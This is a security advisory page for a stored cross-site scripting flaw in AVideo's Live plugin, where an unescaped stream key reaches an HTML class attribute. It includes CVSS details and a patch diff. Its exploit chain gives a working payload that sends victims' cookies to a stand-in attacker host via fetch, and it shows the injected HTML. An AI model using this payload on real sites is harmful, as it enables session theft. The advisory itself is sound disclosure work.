CVE-2026-45580: AVideo Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-m5j4-7r85-2cj2
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-45580 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting AVideo libraries in the Packagist ecosystem. The issue involves stored xss via unescaped stream key in modeyoutubelive.php class attribute. Remediation is available in the latest vendor maintenance releases.

CVE-2026-45580 at a Glance

CVE Identifier CVE-2026-45580
GHSA Identifier GHSA-m5j4-7r85-2cj2
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-45580

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

WWBN/AVideo fixed: Latest secure release
Upgrade WWBN/AVideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for WWBN/AVideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45580, inspect your project dependencies for AVideo:

inspect dependencies for WWBN/AVideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary **Type:** Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. **File:** `plugin/Live/view/modeYoutubeLive.php`, line 203. **Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class="title_liveKey_<?php echo $livet['key'] ?>"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST['key']` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `&` and `=`, not `"`, `<`, or `>`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context. ## Affected Code **File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209. ```php <i class="fas fa-lock"></i> <?php } else { ?> <i class="fas fa-video"></i> <?php } ?> <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute --> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ?> </small> </h1> ``` `$livet['key']` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l->setKey($_REQUEST['key'])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `"`, `<`, `>`, `'` are stored verbatim and round-trip back to this template unchanged. **Why it's wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` (or routed through a templating engine that does). The current `<?php echo $livet['key'] ?>` between `class="…"` and `"` lets the attacker close the attribute with `"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, …), or close the tag with `>` and inject a `<script>` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[&=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient. ## Exploit Chain 1. Attacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. 2. Attacker POSTs to `https://target/plugin/Live/saveLive.php`: ``` key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p ``` `saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l->setKey($_REQUEST['key'])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload. 3. Victim visits the attacker's live page, e.g. `https://target/plugin/Live/?u=<attacker-username>`. The page is rendered through `index.php` -> `view/modeYoutubeLive.php`. Line 203 executes: ```html <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> ``` State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=""` consumed, and the final closing `"` consumed by the next attribute. The HTML parses cleanly. 4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch('//attacker/x?c=' + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). 5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `<img>`, `onload` on injected `<svg>`, or simply `>` to close the `<span>` and inject a `<script>` block) the trigger does not require mouse-over. ## Security Impact **Severity:** sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. **Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`. **Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. **Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `<span class="title_liveKey_<UNESCAPED_KEY>">…</span>`. With the suggested patch (`htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8')` applied), the same input renders as `<span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet: ```sh $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";' <span class="title_liveKey_" onmouseover="alert(1)" x="">test</span> # XSS attribute parses $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";' <span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span> # one attribute, no handler ``` ## Suggested Fix Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[&=]/g, '')`, but they should be reviewed in the same patch). ```diff --- a/plugin/Live/view/modeYoutubeLive.php +++ b/plugin/Live/view/modeYoutubeLive.php @@ -200,7 +200,7 @@ } ?> - <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> + <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ``` Defence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

CVE-2026-45580 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
WWBN/AVideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-45580?
CVE-2026-45580 is a security vulnerability in AVideo involving stored XSS via unescaped stream key in modeYoutubeLive.php class attribute under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: WWBN/AVideo.
What version fixes CVE-2026-45580?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is WWBN/AVideo affected?
Yes, WWBN/AVideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-45580?
CVE-2026-45580 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-45580?
CVE-2026-45580 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-45580?
Run the dependency tree command: 'inspect dependencies for WWBN/AVideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m5j4-7r85-2cj2",
  "modified" : "2026-06-09T10:27:17Z",
  "published" : "2026-05-15T18:33:58Z",
  "aliases" : [ "CVE-2026-45580" ],
  "summary" : "AVideo: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute",
  "details" : "## Summary\n\n**Type:** Stored cross-site scripting. The Live plugin's \"YouTube-style\" view renders the live transmission's stream key into an HTML class attribute by raw `echo`, without `htmlspecialchars()`. A `canStream` user can persist a key containing `\"` plus an event handler via `plugin/Live/saveLive.php`, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.\n**File:** `plugin/Live/view/modeYoutubeLive.php`, line 203.\n**Root cause:** the template builds a live-status hook by concatenating the database key into a class name: `class=\"title_liveKey_<?php echo $livet['key'] ?>\"`. There is no escaping. The persistence path `plugin/Live/saveLive.php:30` accepts `$_REQUEST['key']` verbatim into `live_transmitions.key` (the auto-generation path uses `uniqid()`, but the manual save path lets the caller override it with anything). The `on_publish.php:117` sanitiser strips only `&` and `=`, not `\"`, `<`, or `>`, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.\n\n## Affected Code\n\n**File:** `plugin/Live/view/modeYoutubeLive.php`, lines 195-209.\n\n```php\n                            <i class=\"fas fa-lock\"></i>\n                        <?php\n                        } else {\n                        ?>\n                            <i class=\"fas fa-video\"></i>\n                        <?php\n                        }\n                        ?>\n                        <span class=\"title_liveKey_<?php echo $livet['key'] ?>\"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->\n                        <small class=\"text-muted\">\n                            <?php\n                            echo $liveInfo['displayTime'];\n                            ?>\n                        </small>\n                    </h1>\n```\n\n`$livet['key']` is the raw stream key out of `live_transmitions`. The persistence path `plugin/Live/saveLive.php:30` is `$l->setKey($_REQUEST['key'])` (no allowlist), and `LiveTransmition::setKey()` (`Objects/LiveTransmition.php:110-112`) is a plain assignment. The DB column has no character-class enforcement (it is a `varchar`). `parent::save()` uses prepared SQL, so embedded `\"`, `<`, `>`, `'` are stored verbatim and round-trip back to this template unchanged.\n\n**Why it's wrong:** an HTML attribute value must be escaped with `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` (or routed through a templating engine that does). The current `<?php echo $livet['key'] ?>` between `class=\"…\"` and `\"` lets the attacker close the attribute with `\"`, append arbitrary attributes (`onclick`, `onmouseover`, `style`, `srcset`, …), or close the tag with `>` and inject a `<script>` block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the \"raw echo into attribute\" anti-pattern. Other Live templates (`menuRight.php`, `socket.js`) only use `key` inside JS contexts where they pre-strip `[&=]`, but `modeYoutubeLive.php` uses it directly in HTML attribute context where that strip is insufficient.\n\n## Exploit Chain\n\n1. Attacker registers (or already holds) an AVideo account with `canStream=1`. On installations with `advancedCustomUser.newUsersCanStream=1` this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.\n2. Attacker POSTs to `https://target/plugin/Live/saveLive.php`:\n   ```\n   key=\" onmouseover=\"fetch('//attacker/x?c='+document.cookie)\" x=\"\n   title=t&description=d&password=p\n   ```\n   `saveLive.php:8` confirms `User::canStream()`, line 30 calls `$l->setKey($_REQUEST['key'])` and the row is persisted with the literal payload value. State: `live_transmitions.key` for this user contains the XSS payload.\n3. Victim visits the attacker's live page, e.g. `https://target/plugin/Live/?u=<attacker-username>`. The page is rendered through `index.php` -> `view/modeYoutubeLive.php`. Line 203 executes:\n   ```html\n   <span class=\"title_liveKey_\" onmouseover=\"fetch('//attacker/x?c='+document.cookie)\" x=\"\"><span>STREAM TITLE</span></span>\n   ```\n   State: a class attribute closed early, an `onmouseover` event handler attached, a stray `x=\"\"` consumed, and the final closing `\"` consumed by the next attribute. The HTML parses cleanly.\n4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: `fetch('//attacker/x?c=' + document.cookie)` runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).\n5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (`onerror` on injected `<img>`, `onload` on injected `<svg>`, or simply `>` to close the `<span>` and inject a `<script>` block) the trigger does not require mouse-over.\n\n## Security Impact\n\n**Severity:** sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.\n**Attacker capability:** with one `canStream` account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the `target` origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from `live_transmitions`.\n**Preconditions:** AVideo deployment using the default `modeYoutubeLive.php` template (the YouTube-style live view, used by all standard skins); attacker has `canStream` rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.\n**Differential:** source-inspection-verified. The vulnerable template `modeYoutubeLive.php:203` produces `<span class=\"title_liveKey_<UNESCAPED_KEY>\">…</span>`. With the suggested patch (`htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8')` applied), the same input renders as `<span class=\"title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;\">…</span>`, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:\n\n```sh\n$ php -r '$livet=[\"key\"=>\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"<span class=\\\"title_liveKey_\".$livet[\"key\"].\"\\\">test</span>\";'\n<span class=\"title_liveKey_\" onmouseover=\"alert(1)\" x=\"\">test</span>     # XSS attribute parses\n$ php -r '$livet=[\"key\"=>\"\\\" onmouseover=\\\"alert(1)\\\" x=\\\"\"]; echo \"<span class=\\\"title_liveKey_\".htmlspecialchars($livet[\"key\"],ENT_QUOTES,\"UTF-8\").\"\\\">test</span>\";'\n<span class=\"title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;\">test</span>   # one attribute, no handler\n```\n\n## Suggested Fix\n\nEscape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after `replace(/[&=]/g, '')`, but they should be reviewed in the same patch).\n\n```diff\n--- a/plugin/Live/view/modeYoutubeLive.php\n+++ b/plugin/Live/view/modeYoutubeLive.php\n@@ -200,7 +200,7 @@\n                         }\n                         ?>\n-                        <span class=\"title_liveKey_<?php echo $livet['key'] ?>\"><?php echo getSEOTitle($liveTitle); ?></span>\n+                        <span class=\"title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>\"><?php echo getSEOTitle($liveTitle); ?></span>\n                         <small class=\"text-muted\">\n                             <?php\n                             echo $liveInfo['displayTime'];\n```\n\nDefence-in-depth: also enforce a character allowlist on `live_transmitions.key` at write time (the autogenerator emits `uniqid()` which is hex-only, so `^[A-Za-z0-9_-]{1,64}$` is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "WWBN/AVideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-m5j4-7r85-2cj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45580"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-15T18:33:58Z",
    "nvd_published_at" : "2026-05-29T14:16:30Z"
  }
}